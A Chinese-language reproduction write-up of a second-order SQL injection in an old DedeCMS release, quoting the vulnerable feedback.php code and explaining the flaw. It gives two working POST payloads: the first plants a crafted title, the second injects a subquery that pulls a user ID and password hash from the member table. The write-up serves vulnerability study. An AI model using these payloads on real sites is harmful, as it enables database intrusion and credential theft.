DedeCMS 二次注入漏洞
这是旧版 DedeCMS / PHP 环境下的历史复现记录。原文为了还原当时环境使用了 PHP 5.3 及更早版本,这属于复现环境选择,不应理解成“漏洞只在 PHP ≤ 5.3 才存在”。当前生产环境更应优先升级系统并使用参数化查询,而不是依赖字符串转义。
安装
首先搭建旧版环境。为了尽量复现当年的行为,可以使用当时兼容的旧 PHP 版本;安装完成后按 DedeCMS 要求处理 install 目录。
进入主页是这样的

分析
漏洞点在\dedecms\plus\feedback.php
//保存评论内容
if($comtype == 'comments')
{
$arctitle = addslashes($title);
if($msg!='')
{
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
$arctitle = addslashes($title);,把传进来的内容转义了,然后下面insert把转义后的内容插入到数据库,这儿没有什么异常
//引用回复
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("Select * from `#@__feedback` where id ='$fid'");
$arctitle = $row['arctitle'];
$aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg,2);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
}
$row = $dsql->GetOne("Select * from #@__feedback where id ='$fid'");
$arctitle = $row['arctitle'];
这两句代码将id为fid的评论的读取出来,并将之前保存的标题赋值给arctitle,然后再将这个值插入数据库中,这时插入的值是没有经过addslashes转义的,这就导致了二次注入
操作
先用管理员账号新增一个栏目用来发表文章dedecms/dede/

注册一个普通用户用来做测试对象

进入主页随便发布一篇文章

第一次注入
根据代码构造payload
get http://dedecms/plus/feedback.php?aid=1
post action=send&comtype=comments&aid=1&isconfirm=yes&msg=xx&validate=GVZH&title=xx',(char(@`'`)),/*
aid 为文章 ID,action 为处理方式,comtype 为操作类型,validate 为验证码,title 是这里构造 payload 的位置。为了本地复现方便,原实验曾临时关闭验证码;真实环境不应通过修改源码降低防护。
注释验证码

执行注入就会发表一条评论,可以看到注入单引号被转义了


第二次注入
在第一条评论上注入
fid为评论的ID号
get http://dedecms/plus/feedback.php?aid=1
post action=send&comtype=reply&fid=1&isconfirm=yes&validate=xx&msg=*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/xxxxx_member/**/limit/**/1))%23


这里可以证实读取出来的 arctitle 没有再次转义,再和 msg 拼接后造成了恶意 SQL 代码执行,并把结果带到页面中。
至此复现成功
这里贴一下后台的数据库

评论将在接近此处时加载,也可点击立即加载。